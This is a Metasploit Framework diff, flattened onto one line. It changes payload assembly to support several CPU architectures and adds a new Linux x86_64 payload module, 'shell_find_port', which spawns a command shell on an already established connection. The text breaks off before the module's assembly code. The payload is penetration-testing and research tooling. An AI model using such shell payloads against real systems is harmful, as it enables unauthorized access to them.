diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 7610cc2164..45a7bf75ed 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -528,11 +528,17 @@ protected end # Assemble the payload from the assembly - sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encoded + cpu = case module_info['Arch'] + when ARCH_X86 then Metasm::Ia32.new + when ARCH_X86_64 then Metasm::X86_64.new + when ARCH_PPC then Metasm::PowerPC.new + when ARCH_ARMLE then Metasm::ARM.new + end + sc = Metasm::Shellcode.assemble(cpu, asm).encoded # Calculate the actual offsets now that it's been built off.each_pair { |option, val| - off[option] = [ sc.offset_of_reloc(option), val[1] ] + off[option] = [ sc.offset_of_reloc(option) || val[0], val[1] ] } # Cache the payload blob diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb new file mode 100644 index 0000000000..5b574a07d7 --- /dev/null +++ b/modules/payloads/singles/linux/x64/shell_find_port.rb @@ -0,0 +1,87 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/find_port' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux Command Shell, Find Port Inline', + 'Version' => '$Revision$', + 'Description' => 'Spawn a shell on an established connection', + 'Author' => 'mak', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::FindPort, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => + { + 'CPORT' => [ 32, 'n' ], + }, + + 'Assembly' => <